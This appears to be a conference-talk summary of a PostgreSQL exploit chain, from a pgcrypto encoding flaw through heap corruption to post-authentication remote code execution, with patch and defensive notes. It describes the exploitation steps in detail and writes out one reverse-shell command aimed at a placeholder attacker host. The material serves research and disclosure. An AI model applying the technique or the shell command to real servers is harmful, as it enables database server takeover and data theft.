SELECT shell FROM postgres: Digging up a 20-year-old bug for ZeroDay.Cloud

Paul Gerste (Security Researcher · Sonar), Moritz Sanft (Security Researcher · Sonar)

OffensiveCon 2026 · Day 2 · Main Stage

Overview

This talk, "SELECT shell FROM postgres: Digging up a 20-year-old bug for ZeroDay.Cloud," presented by Paul Gerste and Moritz Sanft, details their successful exploit of a two-decade-old vulnerability in PostgreSQL that led to remote code execution (RCE) as a low-privileged user. The researchers uncovered a critical flaw within the PG crypto extension, specifically in its PGP symdecrypt function, which allowed for the injection of arbitrary bytes into the database, bypassing fundamental encoding checks. This seemingly innocuous primitive was then leveraged through a sophisticated chain of memory corruption techniques to achieve a full compromise of the database server.

Watch on YouTube

Visual summary for SELECT shell FROM postgres: Digging up a 20-year-old bug for ZeroDay.Cloud by Paul Gerste, Moritz Sanft
Visual summary for SELECT shell FROM postgres: Digging up a 20-year-old bug for ZeroDay.Cloud by Paul Gerste, Moritz Sanft

Key moments

  1. 0:00 Talk introduction and speaker overview
  2. 1:30 Introduction to the Zero Day Cloud event
  3. 3:50 Postgres background and attack surface overview
  4. 5:50 Understanding Postgres' multi-process architecture
  5. 6:50 Bug finding methodology: 'Just read the code'
  6. 7:50 Initial discovery of Postgres extensions

SELECT shell FROM postgres: Digging up a 20-year-old bug for ZeroDay.Cloud

Speakers: Paul Gerste (Security Researcher, Sonar), Moritz Sanft (Security Engineer, Edgeless Systems)

Conference: OffensiveCon

YouTube: https://www.youtube.com/watch?v=xmhxPZvUtXU

Overview

This talk, "SELECT shell FROM postgres: Digging up a 20-year-old bug for ZeroDay.Cloud," presented by Paul Gerste and Moritz Sanft, details their successful exploit of a two-decade-old vulnerability in PostgreSQL that led to remote code execution (RCE) as a low-privileged user. The researchers uncovered a critical flaw within the PG crypto extension, specifically in its PGP sym_decrypt function, which allowed for the injection of arbitrary bytes into the database, bypassing fundamental encoding checks. This seemingly innocuous primitive was then leveraged through a sophisticated chain of memory corruption techniques to achieve a full compromise of the database server.

The significance of this research extends beyond the technical elegance of the exploit. It highlights the enduring presence of deep-seated vulnerabilities in widely adopted, mature software, even in components that are not part of the core engine. The exploit's success in a post-authentication scenario, where a default low-privileged user could escalate to RCE, has profound implications for environments ranging from typical enterprise deployments to highly sensitive managed databases in cloud infrastructures. The talk serves as a compelling case study on the value of manual code review and understanding system internals, demonstrating how a subtle encoding flaw can be chained into a severe security bypass.

This work was performed as part of the ZeroDay.Cloud (ZDC) hacking competition, a Pwn2Own-like event focused exclusively on cloud software targets. Their successful submission for the PostgreSQL post-authentication scenario, earning a $30,000 reward, underscores the practical impact of such vulnerabilities. The exploit chain, starting from an encoding confusion to a controlled heap overflow and ultimately arbitrary code execution, provides a valuable blueprint for understanding and mitigating similar classes of bugs in complex software systems.

Background

▶ Watch: Talk introduction and speaker overview (0:00)

The journey into PostgreSQL's internals began with the ZeroDay.Cloud (ZDC) event, a competition organized by Wiz Research focusing on cloud software targets. Unlike Pwn2Own, ZDC specifically targets applications like the Linux kernel, Docker, GitLab, and various databases, often deployed in cloud environments. Participants are given approximately two months to find and exploit vulnerabilities, with successful exploits demonstrated on stage and then disclosed to vendors for a reward. Paul Gerste and Moritz Sanft successfully targeted the Postgres post-authentication scenario, which offered a $30,000 bounty. This scenario involved gaining RCE with the privileges of a default, low-privileged user—one capable of creating and manipulating tables, but explicitly not a superuser. Superusers in Postgres, by design, effectively have RCE capabilities through built-in functions like COPY FROM PROGRAM. The challenge, therefore, was to achieve RCE without superuser privileges.

Postgres, or PostgreSQL, is one of the world's most popular and rapidly growing database systems. It operates on a client-server architecture, with clients communicating over the network. Written in plain C, its earliest commits date back to 1996, making it a mature and extensively audited codebase. The pre-authentication attack surface for Postgres is minimal, primarily limited to authentication commands and initial wire protocol parsing. However, the post-authentication surface is vast. The architecture is multi-process: an initial postmaster process forks off a dedicated background process for each incoming client connection. This background process handles all client-database logic, including SQL execution. Other background processes manage tasks like write-ahead logs, but for this exploit, the client-specific background process was the key target.

The researchers' methodology for approaching such a large codebase, which they admitted was their first deep dive into Postgres, was surprisingly simple: manual code review. Eschewing complex static analysis or fuzzing tools, they focused on reading the source code. This led them to extensions, a PostgreSQL feature allowing users to load additional functionality at runtime via CREATE EXTENSION SQL statements. Extensions introduce new functions usable in SQL queries. Crucially, extensions can be marked as "trusted" at compile time, enabling low-privileged users (like those in the ZDC scenario) to load them. With 26 trusted extensions bundled directly within the Postgres source tree, this presented a significant and relatively unexplored attack surface. Their plan was to systematically review these trusted extensions for vulnerabilities.

Key Findings

▶ Watch: Postgres background and attack surface overview (3:50)

The central discovery was a 20-year-old bug residing in the PG crypto extension, specifically within its PGP sym_decrypt function. This function, intended for decrypting PGP ciphertexts with a symmetric key, contained a critical flaw related to how it handled data encoding.

  1. Arbitrary Byte Injection (Dirty Strings): The PGP sym_decrypt function, after decrypting a ciphertext, checks an attacker-controlled Unicode flag within the PGP packet header. If this flag is not set, the function assumes the resulting plaintext is valid UTF-8 and returns it directly without performing any actual validation or conversion. Since an attacker can craft arbitrary PGP ciphertexts, they can control this Unicode flag and inject arbitrary byte sequences (referred to as dirty strings) into the database as text objects, bypassing PostgreSQL's strict database encoding checks (e.g., for UTF-8). This primitive essentially allows placing non-UTF-8 conforming bytes into a UTF-8 encoded text column.
  1. Length Confusion Primitive: Leveraging the ability to inject dirty strings, the researchers then identified a critical length confusion vulnerability. The pg_utf_mblen function, responsible for calculating the multi-byte character length in UTF-8, only inspects the first byte of a character to determine its total byte length. For example, a single byte hex F0 (an invalid UTF-8 leading byte) would be interpreted by pg_utf_mblen as a four-byte character, whereas strlen would correctly report its length as one byte. This differential in reported length became a foundational primitive for memory corruption.
  1. Out-of-Bounds Write via text_reverse: The length confusion was immediately exploitable in the text_reverse function. When reversing a string in a multi-byte encoding, text_reverse iterates character by character, decrementing a destination pointer by the length reported by pg_utf_mblen. If a dirty string like hex F0 is passed, pg_utf_mblen reports a length of four, causing the destination pointer to decrement by four bytes, even though only one byte needs to be copied. This results in an out-of-bounds write that corrupts memory before the target buffer. Specifically, it was found to overwrite the upper three bytes of the length field in a preceding varlen struct, making a string appear larger or smaller than its actual allocated size.
  1. Controlled Out-of-Bounds Read for Info Leak: By refining the text_reverse technique, the researchers developed a more controlled out-of-bounds write. This allowed them to precisely manipulate the length field of string objects. They then combined this with the to_number function, which creates format nodes on the heap containing pointers to static keywords in the binary's read-only data section. Using the textcat function (which uses memcpy based on the varlena header, unlike strcpy), they could concatenate a length-corrupted dirty string with a string containing these format node pointers, resulting in an out-of-bounds read that leaked addresses from the PostgreSQL binary.
  1. Arbitrary Write Primitive: A further out-of-bounds write was discovered in the parse_format function, which also relies on pg_utf_mblen. By crafting a dirty string (e.g., hex C0) that causes pg_utf_mblen to report a length that skips the terminating null byte, the parsing loop continues past the intended end of the string. This leads to an out-of-bounds write into an adjacent format node buffer. Through careful heap shaping using the predictable AllocSet allocator and the text_reverse truncation trick, they could control the content written out-of-bounds. This allowed them to overwrite the free pointer within an AllocSet block header with an arbitrary address. Subsequent allocations would then return this attacker-controlled address, effectively granting an arbitrary write primitive.
  1. Remote Code Execution (RCE): The arbitrary write primitive was used to achieve RCE. The target was a global array of config_string structs, which hold runtime settings. Specifically, they targeted the assign hook pointer associated with the search_path setting. Low-privileged users can modify certain temporary settings like search_path. By overwriting the assign hook pointer with the address of execute_recovery_command (a PostgreSQL wrapper around the system function), they could then set search_path to an arbitrary shell command. When the search_path was changed, the malicious command was passed to system, resulting in RCE as the postgres user.

Technical Deep Dive

▶ Watch: Understanding Postgres' multi-process architecture (5:50)

The exploit chain commences with a subtle flaw in the PG crypto extension, specifically within the PGP sym_decrypt function. This function is exposed to SQL via the PG_FUNCTION_ARGS macro and retrieves arguments using PG_GETARG macros before calling the internal C function decrypt_internal. The core issue lies in decrypt_internal's handling of the PGP format. A PGP ciphertext consists of a header (containing fields like packet type, content length, creation timestamp) and literal data. Crucially, the header includes a format byte (e.g., 'b' for binary, 'u' for Unicode, 't' for ASCII text), which indicates how the plaintext should be interpreted. The attacker can fully control this format byte by crafting a malicious PGP ciphertext.

The vulnerability: decrypt_internal contains an if (got_unicode) check. If the Unicode flag (derived from the format byte) is not set, the function directly returns the decrypted plaintext without performing any UTF-8 validation or conversion. This bypasses PostgreSQL's fundamental database encoding checks. For instance, if the database is configured for UTF-8 (the default), and an attacker provides a ciphertext that decrypts to a single byte hex F0 with the Unicode flag unset, PGP sym_decrypt will return hex F0 as a text object, even though F0 is an invalid leading byte for a UTF-8 character. This creates a dirty string primitive: the ability to store arbitrary byte sequences within text fields.

The next step involved turning this arbitrary byte injection into a memory corruption primitive. The researchers identified pg_utf_mblen, a function designed to calculate the byte length of a multi-byte UTF-8 character. This function, added over 20 years ago, critically only examines the first byte of a character to determine its total length. For example, a byte starting with 0xxxxxxx indicates a 1-byte character, while 11110xxx indicates a 4-byte character. A hex F0 byte, despite being a single byte, starts with 11110000, causing pg_utf_mblen to report its length as 4 bytes. In contrast, strlen would correctly report a length of 1. This differential (pg_utf_mblen reporting 4, strlen reporting 1) is the basis of the length confusion bug.

This length confusion was directly exploitable in the text_reverse function. When reversing a string in a multi-byte encoding (like UTF-8), text_reverse allocates a target buffer of the same size as the source string. It then iterates from the end of the source string to the beginning, copying characters to the target buffer. For each character, it uses pg_utf_mblen to determine its length and decrements the destination pointer by that amount before copying. If a dirty string containing hex F0 is passed, pg_utf_mblen reports 4 bytes. The destination pointer is decremented by 4, but only 1 byte (F0) is copied, followed by a null terminator. This causes an out-of-bounds write before the target buffer. The memory layout often places a varlen struct (a common length-prefixed data type) immediately before the string data. This OOB write corrupts the upper three bytes of the varlen header's length field, making the string appear larger than its actual allocation. An SQL query like SELECT octet_length(reverse(dirty_string(E'\\xf0'))) would demonstrate this corruption, showing a length far greater than 1.

To achieve a more controlled out-of-bounds read for an info leak, the text_reverse primitive was refined. By crafting a string of a specific size (e.g., hex F100), placing a known byte sequence (F2 XYZ) at a specific offset (hex 100), and a hex F0 at the very end, the first call to reverse would move F2 XYZ to hex F000 (from the end) and truncate the string. A second reverse operation then copies F2 XYZ over the varlen length field, allowing controlled modification of the length. X and Y could be fully controlled, while F2 was somewhat constrained. This refined primitive allowed arbitrary control over the length field, making a string appear arbitrarily large.

For the info leak, the researchers needed to place interesting pointers on the heap. They found that the to_number function, used to convert textual representations of numbers, parses its format string into a sequence of format nodes. Each format node contains a pointer to a keyword residing in a static const array within the binary's read-only data section. By calling to_number with a carefully crafted format string, these pointers were placed on the heap. The info leak was then achieved by concatenating the length-corrupted dirty string (which now appeared much larger) with the string containing to_number's format node pointers. The textcat function was crucial here as it uses varlena headers and memcpy for concatenation, unlike the standard concat function which uses strcpy and would stop at null bytes. This memcpy performed an out-of-bounds read from the heap, including the to_number pointers. To handle null bytes in the leaked data, the entire string was encrypted using PGP sym_encrypt and then immediately decrypted into a byte array (disabling CRLF conversion to preserve data integrity), allowing the client to process the raw bytes and extract the leaked addresses.

For a more robust arbitrary write primitive, another OOB write was discovered within the parse_format function. This loop iterates, incrementing a string pointer by pg_utf_mblen's result and simultaneously incrementing a pointer n into a format node buffer. By using a dirty string that causes pg_utf_mblen to report a length that skips the null terminator (e.g., hex C0), the loop continues past the intended end of the string, causing n to go out of bounds. The values written to n are partially controlled (type is constant 3, character from format string, null terminator, key/suffix nulled).

To control the bytes beyond the format string, the text_reverse truncation trick was used to ensure non-null bytes were present and controllable.

The Postgres heap allocator, AllocSet, played a key role. It's highly predictable within a single query process. Small allocations are rounded to powers of two and placed in blocks, with free lists managing freed chunks. Large allocations (> 0x2000) get dedicated blocks. The researchers leveraged this predictability. By shaping the heap such that the parse_format OOB write targeted an AllocSet block header, they could corrupt its free pointer and end pointer. Specifically, the OOB write would modify the lower three bytes of the free pointer and null out the end pointer. This caused the free pointer to point to an address before the block. Subsequent allocations would then return this corrupted address. By making a series of additional allocations with controlled content, they could eventually overwrite the free pointer again with an arbitrary, attacker-controlled address. This meant the next allocation would return an address of their choosing, allowing them to write controlled content to an arbitrary memory location, albeit with the first 12 bytes being part of the chunk and varlen headers.

Finally, to achieve code execution, the arbitrary write primitive was used to target a config_string struct. These structs are part of a global array holding runtime settings. Many settings can only be changed by a superuser, but some, like search_path, are temporary and can be modified by low-privileged users, affecting only the current connection. When a setting is changed, an assign hook function can be called. This hook receives the new string value as its first argument. The researchers identified execute_recovery_command, a PostgreSQL internal function that wraps the standard C library's system function. By overwriting the assign hook pointer for search_path with the address of execute_recovery_command (obtained via the info leak), they could then issue an SQL statement to set search_path to a reverse shell command (e.g., search_path = 'bash -i >& /dev/tcp/attacker_ip/port 0>&1'). When this setting was applied, the assign hook would fire, passing the malicious command string to execute_recovery_command, which in turn invoked system, resulting in RCE as the postgres user.

Demo / Proof of Concept

▶ Watch: Bug finding methodology: 'Just read the code' (6:50)

The live demonstration showcased the culmination of this sophisticated exploit chain. On the left side of the screen, a reverse shell listener was set up, awaiting an incoming connection. On the right, verbose PostgreSQL logging was displayed, illustrating the database's internal operations during the exploit.

The researchers executed a series of SQL queries, implicitly demonstrating the stages of their exploit. This included using the dirty string primitive, leveraging the text_reverse and parse_format vulnerabilities for heap manipulation, and orchestrating the info leak to obtain critical memory addresses. The final step involved overwriting the search_path's assign hook and then setting the search_path to a malicious command.

Upon execution of the final payload, a shell immediately popped up on the listener, confirming successful remote code execution. The demo revealed that the shell was running with the privileges of the postgres user, validating the exploit's impact. As a side effect, exiting the shell caused the Postgres server process to crash, which is a common outcome for such low-level memory corruption exploits and was considered acceptable for the RCE objective. The successful demo underscored the practical viability and severity of the 20-year-old bug.

Defensive Implications

▶ Watch: Initial discovery of Postgres extensions (7:50)

This vulnerability and its sophisticated exploitation chain carry significant implications for defenders, particularly given PostgreSQL's widespread use.

Firstly, while the exploit requires basic privileges—specifically, the CONNECT privilege to connect to a database and the CREATE privilege to create tables and load extensions—these are often granted to default users in typical deployments. Many applications do not strip down user privileges to the bare minimum, meaning a default, low-privileged user (as in the ZDC scenario) would be vulnerable. Organizations should review their PostgreSQL user permissions, adhering strictly to the principle of least privilege, and consider read-only users where appropriate.

Secondly, the researchers noted that the entire attack could likely be condensed into a single SQL query. This is critical because it means the exploit can be triggered in many common SQL injection scenarios. A seemingly minor SQL injection vulnerability, which might otherwise be limited to data exfiltration or manipulation, can immediately escalate to RCE if this exploit chain is applicable. This drastically increases the impact of SQL injection flaws in environments running vulnerable PostgreSQL versions.

Thirdly, the vulnerability poses a severe risk to managed databases offered by hyperscalers and other cloud providers. These services often operate on multi-tenant infra, where multiple customer databases share the same underlying physical or virtual machines. An attacker escaping one database and achieving RCE on the host machine could potentially access other users' databases or move laterally within the cloud provider's infrastructure, leading to significant data breaches and service disruptions. Managed database providers typically include such escape scenarios in their threat models, but this exploit demonstrates a concrete path to achieving them.

The PostgreSQL maintainers, upon disclosure via Wiz at the Zero Day Cloud event, promptly addressed the vulnerability. The fix was implemented in Postgres 18.2 and backported to all still-supported security versions. The primary fix for the PGP sym_decrypt bug involved adding explicit verification that the plaintext resulting from decryption conforms to the database encoding, thus preventing the creation of dirty strings. Additionally, they went an "extra mile" by hardening pg_mblen with bounds checks in most of its occurrences, although a non-bounds-checked version still exists in some parts of the codebase where major refactoring would be required.

Notably, the AllocSet allocator was not hardened. This is a delicate area for maintainers, as the allocator is in the "hot path" of nearly every database operation, and any changes could have significant performance implications. While hardening the allocator would have made exploitation more difficult, the performance trade-offs are often deemed too high. This implies that similar heap-shaping and allocator-based exploitation techniques might still be viable if other memory corruption bugs are found in the future.

Key Takeaways

  • Legacy Code is a Goldmine: The core vulnerability in PGP sym_decrypt was over 20 years old, demonstrating that even mature, widely-used software can harbor critical, long-standing bugs in less-trafficked code paths.
  • Manual Code Review Endures: Despite the rise of advanced static analysis and fuzzing, the researchers' success by simply "reading the code" highlights the continued efficacy of manual source code auditing, especially when exploring new attack surfaces like extensions.
  • Extensions as Attack Surface: Database extensions, particularly those marked as "trusted" and loadable by low-privileged users, present a rich and often overlooked attack surface for security researchers.
  • Encoding & Length Confusion are Potent Primitives: Subtle issues related to text encoding and differential length calculations (e.g., pg_utf_mblen vs. strlen) can be leveraged to create powerful memory corruption primitives like out-of-bounds reads and writes.
  • Heap Shaping & Predictable Allocators: Understanding and exploiting the predictability of custom heap allocators (like Postgres's AllocSet) is crucial for chaining memory corruption bugs into reliable info leaks and arbitrary write primitives.
  • Low-Privilege RCE is Critical: Achieving RCE as a default, low-privileged user drastically increases the impact of vulnerabilities, particularly in scenarios involving SQL injection or multi-tenant cloud environments.
  • Managed Databases Are Not Immune: Cloud-managed database offerings, despite their security assurances, remain vulnerable to such exploits, posing a significant risk of tenant-to-tenant escapes if a single database is compromised.

About the Speaker(s)

Paul Gerste, known by his nickname PS Paul, is a Security Researcher at Sonar. His primary role involves identifying vulnerabilities in open-source software and documenting his findings, a task he describes as quite enjoyable. His work on the PostgreSQL exploit is a testament to his expertise in vulnerability research.

Moritz Sanft is a Security Engineer at Edgeless Systems. His professional focus is more on the engineering side, broadly encompassing confidential computing and system security. His contribution to the talk and the exploit chain reflects his deep understanding of system-level security challenges and exploitation techniques.

Reviews

Dr. Zero (Offensive Security Researcher) — SOLID

This is what OffensiveCon is for. A 20-year-old encoding bug in PG crypto, chained through length confusion, heap shaping, and a config hook hijack into post-auth RCE. Original work, clean execution, live demo that actually worked. The kind of talk that makes you want to go read allocator code.

Heather Calloway (CISO) — SOLID

A 20-year-old encoding bug in PostgreSQL's PG crypto extension chains to RCE as a low-privileged user. This is consequential for any organization running Postgres—especially managed database customers and anyone with SQL injection exposure in their estate. Patch to 18.2 or your supported backport.

→ Top-rated talks at OffensiveCon 2026

All talks from OffensiveCon 2026